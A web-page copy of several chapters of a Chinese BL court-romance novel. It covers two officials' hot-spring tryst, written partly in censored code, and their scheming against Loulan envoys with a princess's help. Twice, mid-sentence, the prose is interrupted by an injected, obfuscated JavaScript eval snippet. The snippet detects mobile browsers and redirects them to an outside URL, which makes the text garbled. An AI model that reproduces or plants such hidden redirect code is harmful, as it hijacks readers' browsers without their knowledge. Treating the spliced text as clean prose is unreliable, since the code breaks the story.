二人闻声同时转头。 只见礼部尚书正领着吏部尚书,并肩站在等候区,脸上满是偶遇的惊喜。 燕修延眉峰一挑,笑的十分暧昧。 呦~还没成亲就先一起泡私汤了啊~ 漠大人可以啊,下手够快的。 他不知道自己被谢伟恒牢牢环在怀里的样子才更加引人遐想。 礼部尚书满脸震惊,指着二人,语气磕磕绊绊,满是难以置信:“你们……原来……我的天呐,原来是这样的么!” 燕修延低头瞥见腰间那只放肆的手,眼风一扫,抬手干脆利落,啪的一下轻轻拍掉谢伟恒的手。 他身姿从容坦荡,唇角勾起一抹暧昧的笑:“谢书令喜欢黏着我,时时刻刻都想着我,没办法。说来,漠大人应当不会这般黏着你吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646341|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 礼部尚书闻言,当真认真蹙眉思索半晌,一脸诚恳地摇头回道:“若这般贴身相伴才算黏人,那漠大人沉稳端方半点都不黏我。” 燕修延眼底笑意一闪而过,心中了然,是他误会、高看吏部尚书了。 寒暄两句,礼部尚书开口问道:“你们来可是排到位置了?我们还得等,一直无空房。” 燕修延正要据实作答,身侧的谢伟恒轻轻捏了下燕修延的腰,抢先开口,语气温和自然,毫无破绽:“尚未,同样需要等候。” 礼部尚书喜上眉梢,毫无察觉其中门道,爽朗笑道:“既然如此,那咱们一同等候吧!” 燕修延侧头斜睨了谢伟恒一眼,眼底满是皮笑肉不笑的深谙。 谢伟恒坦然迎上他的目光,回以一派温润无害的浅笑,随即不着痕迹地给一旁的管事递了个眼色。 管事领会深意,连忙躬身退下,暗中加急清整汤房。 燕修延饶有兴致地看向吏部尚书,随口问道:“漠大人下过聘了?” 吏部尚书颔首,神色端正沉稳,眼底带着淡淡的温柔:“婚期也已经定了,届时还望燕大人、谢大人拨冗赏脸,前来观礼。” “那是自然。” 燕修延眉眼弯弯,眼底藏着满满的促狭笑意。 他要闹洞房,嘿嘿嘿。 没等片刻,管事手持精致木质房牌,快步上前躬身行礼:“两位大人,有单间已然收拾妥当,这边请。” 礼部尚书起身热情提议:“既然空出房间,左右宽敞,不如我们四人一同入内泡汤闲谈,岂不热闹?” 谢伟恒与吏部尚书异口同声、语速一致地出声拒绝:“不必了。” 燕修延慢悠悠抬手摆了摆,笑着解围:“我与谢大人也快到了,你们先去吧。” 待二人欣然离去,他们这才转身步入芙蓉池最深处、景致最清幽的专属单间。 房内汤泉雾气氤氲,暖香袅袅,雕花窗棂敞开,风携着花木清香入室,雅致又清净,无半分外界喧嚣。 燕修延搭在谢伟恒肩头,眉眼带着狡黠的调侃:“谢书令谎称无房需等候,是怕宁大人顺势应下要与我们一起泡汤泉吧?” 谢伟恒慢条斯理解开腰间玉带,衣袍随之微松,露出线条利落的锁骨,他轻轻摇头,眼底温柔缱绻:“不全是,这间汤房是我亲手修葺布置,一器一物皆是按着心意打造。此处清净私密,我不愿除燕大人之外的任何人沾染半分。” 燕修延思路清奇,听得饶有兴致,指尖轻轻摩挲着他的肩头,笑着反问:“那日日进来清扫打理的仆役又算什么?” 谢伟恒低低失笑,嗓音温柔入骨:“他们只是打理尘俗,不会在此休憩逗留,更不会如你一般与我共享此间风月、温存朝夕。” “哦。” 燕修延敷衍地点头应声,修长食指轻轻勾起谢伟恒解下、垂落身侧的玉带,指尖轻轻绕转,步步凑近谢伟恒。 “谢大人的地盘占有欲倒是极强。” 谢伟恒只当没发现燕修延的小动作,目光灼灼锁住眼前人,眼底深情坦荡:“我所求不多,只想独占所有与燕大人相关的朝夕风月、烟火朝夕,半点不愿与人分享。” 燕修延眸光微动,慢悠悠开口:“那可有些难。” 他抬手快如闪电,一把攥住谢伟恒垂在身侧的双手,指尖翻飞,借力将那条柔软玉带轻轻缠绕,稳稳把两只手缚在一起,松紧恰到好处。 做好这一切,燕修延微微后仰,眉眼弯弯坏笑尽显:“今日暂且休耕,泡完汤泉、吃完膳点,归府安寝睡素觉。” 谢伟恒唇角勾起一抹无奈又纵容的笑意,微微抬眼,目光温柔又缱绻带着几分刻意示弱的委屈:“双手被燕大人所缚,动弹不得,怕是只能劳烦燕大人亲手为我宽衣了。” 184. 我也沾点燕大人的荤腥 燕修延舌尖浅浅扫过下唇,眼尾挑起一抹狡黠又肆意的笑意,唇角弯出一道恶劣的弧度:“行,我这就来替我的谢书令宽衣。” 谢伟恒双臂被束在身后,规整的素色里衣只能松松垮垮敞着大半,任凭衣襟荡开也无法尽数褪去,平添几分束手待擒的被动。 燕修延垂眸扫过他凌乱的衣襟,眉头微蹙,多了点细致的顾虑:“这里可有干净的里衣么?” 谢伟恒眉宇间始终噙着从容温和的笑意,嗓音清润悦耳:“可以让人去采买。” “……你可真能想。” 特意遣人专程送衣物进来,是个人都能猜到他们两个在里面这么久都做了什么事。 万一是个嘴碎的再传出去。 好嘛,下次上朝,礼部尚书肯定要拦着他反复诘问纠缠,想想就让人头疼。 燕修延眼底灵光一闪,有了主意。 他上前一步,掌心轻轻覆在谢伟恒肩头,稍稍用力将人按坐在铺着柔软锦缎的软榻上。 修长手指抽出自己腰间玄色织金腰带,动作利落干脆的将谢伟恒的右手腕与右脚踝牢牢缚在一处,力道松紧适宜,既牢牢桎梏了动作,又不会勒得发疼。 这般束缚下,谢伟恒左侧身子全然无碍,燕修延俯身指尖捻着微凉的衣料,一点点将半边里衣褪下。 动作轻柔却带着不容抗拒的掌控感。 褪去一侧衣衫后,他依着同样的法子,束住谢伟恒的左手与左脚,从容褪去另一侧衣料。 最后抬手收紧绳结,再次将那双修长有力的手腕牢牢缚于身后。 自始至终,谢伟恒都安安静静端坐,墨眸含春,眼底盛着浅浅笑意。 燕修延每一个动作落下,他便温顺配合一分,无半分挣扎抗拒,眉眼间的纵容与顺从几乎要溢出来。 “好了!” 燕修延指尖轻轻勾起谢伟恒精致清隽的下巴,俯身落下一个轻柔短促的吻,眉眼弯弯,笑意明媚又带着十足的占有欲:“今日谢书令可就是我刀俎上的鱼肉,任我拿捏喽。” 谢伟恒望着近在咫尺的人,眼底笑意深沉,身姿从容起身,步履平稳迈入氤氲着温热水汽的芙蓉池中,池水漫过腰腹,温润的水波轻轻晃动。 他仰头望着池边的燕修延,眉目温润:“能为燕大人鱼肉,是我的荣幸。” 燕修延心头升起几分狐疑,眯起眸子细细打量他澄澈含笑的眼眸:“你又憋着什么坏心思么?” 池水荡漾,揉碎了谢伟恒的眉眼,他唇角笑意愈发柔和,语气带着几分无辜的纵容:“我双手皆被绳索所缚,纵有通天神通也丝毫施展不得,何来坏心思一说?” “倒也是。” 燕修延盯着他身后规整紧实、绝无松动痕迹的绳结,稍稍放下心来,可下一瞬忽然一拍脑门,面露懊恼:“坏了!我只顾着绑你,忘了待会更衣时没有束衣的了。” 谢伟恒立于温水之中,神色淡然,语气从容无虞:“无妨,不过一条腰带而已,本就是深色料子,沾水拧干便可照旧使用,不碍事。” 闻言,燕修延放下顾虑转身快步走到矮榻旁的实木矮柜前,抬手打开柜门取出一只通透精致的白玉小瓶,轻轻搁在光滑的池沿边。 他侧过身,唇角勾起一抹邪气肆意的笑,拖长了语调打趣:“谢书令~乖乖等着,我这就下来宠幸你~” 话音落,燕修延背对着芙蓉池,抬手利落褪去外层衣袍,墨色衣袍滑落肩头,堪堪露出半截清瘦挺拔的脊背。 他外袍才褪至臂弯,尚且来不及落下,池水之中伸来一只骨节分明、沾着温润水汽的手,精准攥住他的脚踝,力道猝然且稳。 一股巨力猛地从脚下传来,燕修延重心骤失,惊呼未及出口,整个人向后踉跄着跌入温热柔软的怀抱,温热的池水瞬间浸湿他大半衣衫。 后背紧贴着谢伟恒温热坚实的胸膛,燕修延瞳孔微怔,嗓音带着一丝错愕:“……你怎么解开的?” 谢伟恒垂眸抵着他的耳畔,呼吸温热,笑意低沉缱绻。 他抬手摊开掌心,里面静静躺着断裂成两段的腰带,一截修长完整,一截短小零碎,断裂处绳线松散,看得清晰分明。 “解不开索性挣断了。” 燕修延嘴角狠狠一抽,磨牙道:“行,你厉害。一会等着下人送新腰带来,我可不等你直接先走。” 谢伟恒将人牢牢圈在怀中,低头抵着他的耳侧:“燕大人似乎要陪着我一同等候了。” 微凉湿润的指尖轻轻挑开燕修延肩头被池水打湿、紧贴肌肤的衣料,慢条斯理地将湿漉的衣衫尽数褪下,随手轻抛至池边石台上。 燕修延缓缓眨了眨眼,半晌才低声感慨:“谢伟恒,你要是当奸臣,定然能坐稳大虞第一奸佞的位置。” “燕大人太过抬举我了。” 谢伟恒低笑出声,修长手指顺着他的小臂缓缓向下,贴着他柔软的唇瓣,嗓音低沉缱绻:“我从无心恋权势,唯独色欲熏心,心心念念,唯有燕大人一人。” 燕修延耳尖泛红,下意识往后仰起脖颈,不让谢伟恒亲,嘴硬逞强:“等夜里你睡着,我直接阉了你——哎!你做什么?!” 他扭头看去,谢伟恒正拿着那截稍长的断腰带,指尖翻飞利落,转瞬将他的双手牢牢缚于身前,绳结紧实,毫无松动余地。 燕修延看着手腕上的束缚,没好气地啧了一声,眉眼带着几分不服气:“你这纯属多此一举,你挣得开我也想挣开,易如反掌。” 谢伟恒温热的掌心轻轻掐住燕修延的腰,低沉的嗓音裹着细碎的笑意,带着几分隐晦的威胁:“燕大人若是挣开了,今日只怕是不知要到何时才能回去了。” 燕修延:“……艹,你居然威胁我?!” 他娘的,偏偏这一句威胁精准拿捏他的软肋,管用得离谱。 谢伟恒垂眸看着燕修延又气又无奈的模样,眼底情意泛滥,低头轻轻吻过他线条利落的下巴:“就看燕大人愿不愿意受我这微不足道的威胁了。” 燕修延很想硬气的挣开腰带,好好告诉谢伟恒,他可不是轻易能被拿捏之人。 但他的腰时时刻刻都在提醒他——该认怂的时候就得认怂。 燕修延只能梗着脖子,一脸勉强地嘴硬:“既然你这般诚心恳切,那我勉为其难接受了。” 谢伟恒眸中的笑意肆意荡漾开来,温柔得几乎要将人溺毙,他抬手指尖轻巧一拨松开了燕修延规整束起的发冠。 固定发髻的玉簪滑落,如鸦羽般漆黑顺滑的长发散落,丝丝缕缕垂落肩头,坠入温热池水,随着水波轻轻摇曳荡漾,衬得少年面容愈发精致,眉眼缱绻动人。 谢伟恒将燕修延的双T放置臂弯,__一下下的C燕修延的**,water随着DZYR燕修延的** …… (过程读者们自己想一下吧,作者尽力了,求过求过求过!!!) 燕修延浑身脱力,软绵绵的躺在矮榻上,眼皮慵懒耷拉着,连转动眼珠都觉得费力,四肢酸软得几乎抬不起来。 他静静看着谢伟恒从矮柜中取出两套早已备好、尺寸合身的干净衣衫,显然是早有准备。 ……这狗东西。 他连吐槽谢伟恒的力气都没有,浑身筋骨酸软,动动指尖都觉得疲惫不堪。 燕修延不服气的嘀咕,带着浓浓的疲惫:“今晚等你睡着,铁定把你阉了。” 谢伟恒缓步走到矮榻边屈膝俯身,指尖挑开覆在燕修延身上的宽松浴衣:“那今夜不回府了、也不睡了,免得遭燕大人的毒手。” 燕修延眼眸微微瞪大,语调带着一丝不可置信的变调:“不是,你还有力气啊?” 他恨不得直接昏睡过去,实在难以想象眼前这人还有余力说笑。 谢伟恒望着燕修延,唇角噙着温柔浅笑,指尖轻轻摩挲着他的腰侧:“为了不被燕大人阉掉,自然要好好激发一下潜藏的力气。” 燕修延嗓音干巴巴的带着几分妥协:“行了行了,今晚我放过你。” 他未尽的话语不言而喻:所以你也放过我,放过我(不堪重负的老腰)。 谢伟恒的指尖温柔拂过燕修延胸膛浅浅淡淡的红痕,嗓音温柔得不像话:“那便多谢正使大人手下留情啦。” 燕修延抬手拍开谢伟恒作乱的手,拢好身上的衣衫:“饭菜怎么还没备好?我都饿得前胸贴后背了。” 恰在此时,门外传来两声轻缓规矩 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谢伟恒动作未停,细心剔除盘中鸡腿的骨头,语气平静沉稳,条理清晰:“江南的马场新近到了一批车师良马,数目可观,想来近日便能送入京城。” 燕修延目光落在他的手上,随口道:“鸡腿要自己啃才够滋味。” 谢伟恒浅笑着将另一只完整的鸡腿夹起递到燕修延手边,才继续方才的话题,眸光沉静:“到时我们便可对外宣称,是车师国敬献良马、供我大虞过目核验。” 燕修延伸手拿起鸡腿,一边小口啃食,一边静静听着下文。 “而后,顺势问询楼兰使臣返程归期。”谢伟恒淡淡道出后半句,语气从容淡然。 燕修延洞悉他的深意,这一番操作就是不动声色、堂堂正正地下逐客令了。 他眼底掠过一抹亮色,轻笑出声:“若是他们就此放弃雷火炮——那我们也不亏,白白拿下一千匹良马。” 不白嫖,按一两银子一匹马的黑心报价,象征性付给他们一千两。 至于大王子、国师、阿赫连漠一众核心人物,一个都不会放归楼兰,尽数发配矿山劳作,终生不得归乡。 楼兰耗费心力筹谋许久,平白折损一千匹战马却一无所获,必然满心不甘。 更何况雷火炮威力惊人,但凡亲眼见识过之人,无人不心生觊觎,楼兰绝不会轻易善罢甘休。 “嗯。” 谢伟恒目光牢牢锁在燕修延油润的唇瓣上,眼神缱绻幽深带着浓浓的占有欲,轻声发问:“味道如何?” 燕修延不假思索,直接将手中啃了大半的鸡腿递到他面前:“喏,你尝尝。” 谢伟恒没有接鸡腿,抬手稳稳捏住燕修延的下巴,低头轻柔覆上他的唇,浅浅一吻,舌尖轻扫,低笑出声:“咸淡适中,滋味极好。” “你真是闲得蛋疼。” 燕修延把鸡腿塞嘴里,用沾着淡淡油光的手指轻轻拧了一把谢伟恒的脸颊,笑着打趣:“给你脸皮上上油,润润色。” 指尖刚触碰到脸颊,便被谢伟恒抬手稳稳攥住手腕,他微微低头含住燕修延的指尖,齿尖轻轻蹭过指腹:“那我也沾点燕大人的荤腥。” 燕修延抿着唇,滚烫的绯色从脖颈一路蔓延至耳尖、脸颊,清晰可见,他慌忙偏过头去,避开谢伟恒深邃灼热的目光。 “好好吃饭便是,别总来这些小动作。” 明明二人早已亲密无间、毫无顾忌,可谢伟恒这般细碎温柔、缠绵缱绻的小动作,依旧能轻易撩动他的心弦,让他止不住的心跳加速、面红耳赤。 谢伟恒抬手指腹温柔摩挲着燕修延发烫的脸颊,眼底盛着快要满溢的深情暖意,眸光温柔缱绻,轻声轻叹:“有时候真想卸下一身朝堂桎梏,与你归隐山林,寻一处清净小院,从此世间纷扰、权谋算计,皆与你我无关,朝夕相守,岁岁相依。” 燕修延忘了脸上的燥热羞赧,拍掉谢伟恒的手,斜眼看他:“归隐山林?你会劈柴生火、做饭洗衣?” 谢伟恒失笑,嗓音温柔缱绻,满是宠溺:“燕大人啊……” 185. 他?他就是个木头棒槌! 这天,楼兰使臣正百无聊赖地枯坐着,心头始终悬着大虞迟迟未落地的合作答复,满腹焦灼无从排解。 忽然,窗外传来一阵整齐沉稳的马蹄声,伴随着路人此起彼伏的惊叹,动静极大勾得屋内所有人齐齐抬眼。 众人纷纷起身凑到窗边。 只见官道之上,几名身着大虞禁军服饰、身姿挺拔的兵士,正牵着数匹骏马缓步前行。 那是清一色的顶级良驹,四肢修长健硕,骨架匀称利落,通体鬃毛乌黑油亮,在暖阳下泛着细腻的水光,步伐稳健有神,光是远远看着,便知是千里挑一的战马。 路边往来的商贩、百姓瞬间围拢上前,目光死死黏在马匹身上,满眼艳羡。 一位身着锦缎长衫的富商按捺不住上前,语气急切又期待:“这位军爷,敢问这些骏马可否售卖?我愿出高价购入!” 牵马的禁军兵士面色肃穆,微微摇头,语气规整恭敬:“此乃车师国进贡送来的御马,尚未入宫呈验,需先送入宫中,让陛下亲自过目品鉴。” 富商眼中精光骤亮:“难不成,车师国是有意与我大虞通商,专供良驹售卖?” “若是陛下看得上这批马匹,认可了车师国的诚意,通商之事自然有商议的余地。”兵士话语规整,滴水不漏。 富商听罢喜上眉梢,眉眼间满是雀跃,搓着手连声感慨:“太好了!若是两国通商,日后我们寻常商贾也能购入这般宝马良驹,真是天大的好事!” 兵士只是淡淡颔首,不做多言,牵着骏马转身继续往皇宫方向走去,身姿利落,气度凛然。 待禁军队伍走远,围观的路人彻底炸开了锅,三三两两凑在一起热议不休,议论声清晰地飘进驿馆窗内。 “这么多绝世好马,车师国这是摆明了要和咱们大虞交好通商啊!” “听说车师国气候温润,盛产各类鲜甜的瓜果,若是通商日后咱们也能尝个新鲜!” “不止这些!我听闻车师国水土养人,国内美人如云,个个身姿窈窕、容貌绝色!” 旁边立刻有人打趣调侃:“就你那点身家,兜里碎银寥寥无几,温饱尚且勉强,还敢痴心妄想人家异国美人?别做白日梦了!” 打趣声过后,又有人正色开口:“我早前听闻,车师国矿产丰饶,金银、精铁储量极足,若是开通通商互市,互通有无,对咱们大虞绝对是稳赚不赔的买卖!” “那可太划算了!车师国物产丰厚、良驹遍地,能和他们通商,简直是天赐良机!” 窗外的热议声声入耳,字字清晰。 楼兰使臣面面相觑,彼此眼中都闪过一模一样的凝重揣测,心头瞬间沉了下去。 所有人默契地沉默一瞬,眼底皆浮出浓浓的不安。 原来如此! 众人心中明朗,想通了所有关节——大虞皇帝迟迟不肯对楼兰的战马交易、雷火炮互换之事给出明确答复,根本不是犹豫不决,是在等候!等候车师国送来贡马,权衡两国利弊,择优而定! 他们当即紧闭门窗,隔绝外界声响,围聚在一起低声密谋商议,气氛凝重得近乎窒息。 隔壁等着偷听的燕修延斜倚在软榻之上,姿态慵懒闲散。 桌上青瓷茶炉温着醇香的雨前龙井,袅袅热气氤氲升腾,清雅茶香漫满全屋。 他单手支着下颌,指尖轻捏薄瓷茶杯,慢条斯理地浅啜着茶水,神色闲适淡然。 阿赫连漠被众人反复的指责、猜忌吵得头痛欲裂,心底积压的怒火彻底翻涌上来。 他烦躁地喘着粗气,随手抓起床头矮柜上的白玉茶杯,手腕猛地发力狠狠朝人群边上掷了过去! “哐当——” 清脆的碎裂声响起,白玉杯落地四分五裂。 “不过是区区车师马匹罢了!他们想购马便购!大虞若真要放弃我楼兰,我们即刻启程回国,何须在此受人诟病、自寻难堪!” 国师眸光幽冷,狭长的眼眸淡淡扫过阿赫连漠的下半身:“我们皆可抽身离去、返回楼兰,但你经不起沿途千里颠簸。” 短短一句话,精准戳中痛处。 阿赫连漠脸色骤然涨成酱紫色,耳根通红,又羞又怒,胸腔剧烈起伏,气得浑身发抖:“你也好不到哪里去!你别忘了!临行之前国王陛下把你交由大虞处置!真论起来,你比我更回不去楼兰!” 面对他的暴怒嘶吼,国师神色不改,眼皮都未曾抬一下,语气淡漠敷衍:“哦。” 云淡风轻的一个字,将阿赫连漠所有的怒火堵在胸腔,让他无从发作,几乎要憋得吐血。 除了阿赫连漠,其余亲历过雷火炮威力的使臣全然顾不上两人的争执,人人面色凝重,眉宇间布满深深的忧虑,满心都是两国交易的得失。 “国师,事到如今局势危急!若是大虞当真看中车师国的马,舍弃与楼兰的合作,不肯将雷火炮技艺交付我们,那我们此番千里出使便是一无所获,彻底徒劳!” 国师蹙起眉头,闭口不谈大王子犯的事情,将所有过错尽数推到阿赫连漠身上,语气深沉凝重:“最初大虞对楼兰诚意十足,早早许下互换合作的约定,是阿赫连漠行事狂妄、不知分寸,触犯大虞底线、惹恼天颜。依我看,即便车师国的马匹品相、战力不及我们楼兰的马,以如今的局面,大虞皇帝为立威严、正风气也定会舍楼兰而选车师。” “若是如此,那楼兰该如何是好?此番损失,我们楼兰承受不起!” “祸是阿赫连漠一人闯下的,自然该由他一人承担罪责。咱们把他交由大虞皇帝处置,认罪致歉吧。” “我赞同!雷火炮乃是护国重器,价值远超一个成事不足败事有余的阿赫连漠,孰轻孰重,一目了然!” 燕修延将这番算计听得清清楚楚,唇角勾起一抹清冷又戏谑的笑意,眼底掠过一丝薄凉。 这群楼兰使臣倒是打得一手好算盘,为了利益全然不顾同族情义,弃卒保车的心思摆得明明白白。 区区一个阿赫连漠,别说雷火炮了,一颗雷火弹送他归西不是问题。 阿赫连漠彻底气急败坏,双手狠狠捶打床榻,实木床架被捶得砰砰作响,他目眦欲裂,厉声怒斥:“你们这群忘恩负义之徒!我定要修书归国禀明国王陛下!你们皆是收了大虞的贿赂,存心偏袒外人,处处针对于我!” 和阿赫连漠交好的使臣面露不忿,上前一步沉声反驳:“过错皆是你一手造就!是你狂妄无知、触犯大忌,如今大祸临头,非但不知悔改,反倒反咬一口、污蔑同僚!你以为国王陛下会信你一人片面之词,还是信我们所有人的话?” “没错!旁人安分守己出使,唯独你胆大妄为,痴心妄想、觊觎大虞皇帝的后宫,落得如今下场,纯属自作自受!” 国师听着众人你一言我一语的指责阿赫连,他始终静静立在一旁冷眼旁观这场内讧,待阿赫连漠被众人逼至绝境,情绪濒临崩溃之时,才缓缓开口:“诸位稍安勿躁,不论大虞皇帝最终择取何方战马,我们都并非全无胜算,眼下我们还有最后一次争取转机的机会。” 顿了顿,他缓缓道来:“诸位莫非忘了?大虞皇帝已下旨认鄯云帛月公主为义妹,以大虞公主尊位从皇宫出嫁。” 很快有人反应过来,随即又面露迟疑,皱眉道:“你的意思是让公主去说服大虞皇帝?可她此前不是惹大虞皇帝不高兴了么?” “是啊,而且帛月公主心性难测未必肯听我们的,更何况我们如今想要面见公主,亦是难如登天!” 国师神色沉稳,笃定道:“凡事总要一试方知结果,我听说大虞皇帝对她不错,赏赐了很多东西,只要她肯代为进言未必不能扭转僵局。” 楼兰使团想要面见鄯云帛月的事情传到虞睿祥这里。 虞睿祥猜到他们穷途末路必定会走这一步棋,鄯云帛月那里他已经叮嘱过了。 应对使团的全套说辞是燕修延与谢伟恒为她准备好的——主要出自燕修延之手。 楼兰使团的求见一路畅通,极为顺利,很快便获准进入后宫,见到了久居深宫的鄯云帛月。 精致华美的宫殿内,檀香袅袅,锦绣铺地。 “帛月公主。” 国师向鄯云帛月躬身行礼,抬眼之际闪过一丝惊艳。 穿着大虞制式的华贵宫装,流云裙摆曳地,珍珠玉簪绾起青丝,妆容精致端庄的鄯云帛月,举手投足间尽是沉稳端庄的皇家贵气,气韵斐然,雍容雅致。 鄯云帛月端坐于雕花描金的梨花木座椅之上,微微抬眸,姿态矜持又端庄:“国师免礼。” 她面上神色平静无波,礼数周全,心中却早已乐开了花,疯狂雀跃:爽!实在是太爽了!你个光头也有对老娘毕恭毕敬的时候! 国师直起身,目光扫过殿内两侧侍立的宫人,眼神隐晦,意在示意旁人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646343|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回避方便私下密谈。 鄯云帛月只当没看明白,眨了眨一双澄澈灵动的眼眸:“国师何故频频眨眼?莫非眼睛抽筋了?要不要我传太医为你诊治一番?” 国师不好直接开口叫她让宫人出去,只能先关心她在宫里的情况,再委婉的说大虞原本要用厉害的武器换楼兰的马,但车师国突然横插一脚,致使楼兰与大虞的合作岌岌可危。 鄯云帛月目光不着痕迹地扫过殿内雕花屏风之后,这些说辞、套路,尽数被燕修延猜到了。 这个男人心思缜密、智计无双,当真厉害至极!不愧是她第一眼便心动看中的人——可惜啊,这般绝世人物,嫁人了。 “这车师国实在太过可恶!无端横插一脚,扰两国交好!父皇就该即刻下旨出兵征讨车师,让他们安分守己,不敢再肆意挑衅!” 国师要的不是出兵征伐的气话,他装模作样的长叹一口气,满脸忧色:“如果有人能够在大虞皇帝面前委婉劝解一二,就好了。” 这话暗示意味已然十足。 可鄯云帛月偏偏揣着明白装糊涂,豁然站起身,眉眼明亮,一脸真诚地催促道:“那国师你快去啊!你快去面见陛下,别在我这里虚度光阴、徒耗时间了!” 国师被她这套装傻充愣的操作弄得一时分不清,她是真的没听懂自己的暗示,还是故意推脱搪塞。 他深吸一口气,正欲酝酿措辞直白点明来意时。 鄯云帛月一拍光洁的额头,像是想起大事一般,眼眸发亮:“哎呀!我倒是忘了!国师不便进言那就由我去吧!陛下对我挺好的,说不定我说的话他愿意听上几分。” 国师等的就是这句承诺!他心中一喜,站起身连忙追问:“那现代……” 现在就去。 “此刻不行。” 鄯云帛月轻轻摇头,自顾自开口,语气从容慵懒:“面见陛下不能穿的这么随意,我需得入内更衣,换一身端庄得体的服饰。” 国师眼底掠过几分讶异,他觉得鄯云帛月穿的华贵非凡,哪里算得上随意? 他心中急切万分,恨不得立刻带着鄯云帛月入宫,可又不敢轻易催促,唯恐惹得她心生不悦、反悔推辞,坏了全盘计划。 鄯云帛月抬眸看向国师,眼底带着几分无辜的疑惑:“你不出去等候么?” 国师一时没反应过来,微微愣神:“出去?” “自然是要出去的。” 鄯云帛月理所当然地点头:“我要更衣,男女有别,你岂能留在屋内旁观等候?” 此时日头已然升至中天,骄阳灼灼,晴空万里,殿外无树遮阴,国师只能硬着头皮在烈日之下暴晒等候。 不过是换一身衣裳能有多久?转瞬即可入宫。 这一等,挺久的。 精致雅致的屏风隔断了外界视线,隔绝了殿内动静,自成一方安稳小天地。 鄯云帛月走到屏风后面。 谢伟恒指尖正捏着一枚剥得干干净净、果肉饱满的清甜鲜果递到燕修延唇边,动作亲昵自然,温柔缱绻。 燕修延微微仰头,从容张口顺势吃下果肉,眉眼松弛,神色慵懒惬意。 鄯云帛月语气酸溜溜的,轻声吐槽:“大男人好手好脚、身姿康健还要人亲手投喂,亏你长得好看。” 燕修延唇角噙着浅浅笑意,神色诚恳,慢悠悠开口提议:“你若是羡慕大可以让温瑞喂你。” 不提温瑞还好,一提,鄯云帛月瞬间面露幽怨,眉眼间满是无奈与挫败,长长叹了口气:“他?他就是个木头棒槌!半点风情都无!” 她留温瑞在宫中用膳,他吃完就要走。 她委婉暗示他可以多留片刻、闲谈解闷,他说天色已晚,久留有损她清誉。 笑话,她像是在乎这些虚名的人嘛! 她又没名声。 燕修延不厚道的笑出声,眉眼弯弯:“正常,我们经常调侃温瑞,人家姑娘瞎了眼都不一定能看得上他这块木头。” 鄯云帛月陷入沉默,满心无奈,无从辩驳。 燕修延安慰她:“温瑞虽然有时候脑子不太正常,但他至少不花心。” 鄯云帛月自然看得出来温瑞品性端正、心性纯粹,不是花心滥情的,她有时都怀疑他没有心!或者是不是喜欢男人! 她这么一个大美女! 温瑞看见她除了傻笑,就没别的想法么! 186. 没样子是什么样子 国师笔直立在骄阳之下,细密的汗珠顺着他圆润的下颌、脖颈不断滚落,沿着衣料纹路层层晕开深色水渍,后背、肩头湿了大片,黏腻地贴在肌肤上。 雕花窗棂掩着半扇,隔绝了外界灼人的热浪,殿内清风穿堂,凉丝丝的格外惬意。 鄯云帛月正掰着纤细的手指,认认真真细数着温瑞的木讷表现一二三四五……等等。 数到后来,从最初的吐槽打趣,越说越认真,细数到五六条时,语气渐渐没了底气,心底莫名生出几分自我怀疑。 她抬手抚过自己精致的眉眼、窈窕的身姿,心底满是费解。 论容貌,她生得明艳倾城,身段更是匀称婀娜,素来是旁人夸赞的绝色风姿。 可这般样貌身段,对着温瑞那根榆木疙瘩半点用处都无,愣是撩不动对方分毫。 燕修延听得津津有味,随意歪坐在软椅上,身前摆着一张梨花木小桌,桌上铺满饱满的瓜子。 他指尖翻飞,嗑瓜子的动作娴熟利落,咔嚓声响不绝于耳,清脆细碎。 一颗颗饱满的瓜子仁落入口中,干瘪的瓜子壳随手落在桌面,不过片刻功夫,堆起一座小小的瓜子壳山丘。 待鄯云帛月絮絮叨叨说完,燕修延才拍拍掌心残留的细碎瓜子碎屑:“别琢磨了,你该去见陛下了。” 鄯云帛月絮絮叨叨说了许久,又是吐槽又是自我纠结的,在燕修延的脸上从头到尾只有藏不住的幸灾乐祸,半点怜惜都未曾有。 她气笑了,挑眉看向燕修延:“温瑞是你的手下对吧?” 燕修延坦然颔首,神色自然无比:“对啊,隶属我监察司。” “难怪。” 鄯云帛月起身,整理了一下衣袖,眼底笑意带着几分揶揄:“大虞的话果真不假,上梁不正下梁歪。” 话音落罢,她不再多言,抬手推开殿门,步履从容地走了出去。 身后两名宫人连忙垂首跟上,步履轻缓。 国师见鄯云帛月半点更换休整的意思都无,顿时就知道她是故意晾着自己的。 怪不得方才应下帮他求情时那般干脆利落,毫无拖沓。 原来从一开始,她就打着拿他出气的心思。 国师垂在身侧的手指悄然收紧,掌心攥出几分湿凉,心底掠过一抹无奈的哑然。 殿内,谢伟恒取来干净的锦帕替燕修延擦去指尖残留的瓜子碎屑,他轻声开口:“燕大人当真是铁石心肠,半点不懂怜香惜玉。” 燕修延往后靠在椅背上,唇角勾起一抹狡黠的假笑,挑眉回看他:“你要是穿上长裙,我倒是能将你视作世间最珍贵的香玉,万般怜惜,加倍温柔。” 玩笑过后,他神色稍稍正色,眼底带着几分笃定:“国师的心思和我先前猜测的分毫不差。” 他拉着谢伟恒打赌并且十分霸道的不让谢伟恒跟他赌一样的。 谢伟恒薄唇微勾,温润的眉眼漾开细碎笑意:“并非全然一致,说辞上有出入。” 燕修延不满地抬眸,眉眼带着少年气的执拗:“又没说必须字字相同。” 谢伟恒眼底盛满无辜:“可燕大人也未曾说过可以有出入。” 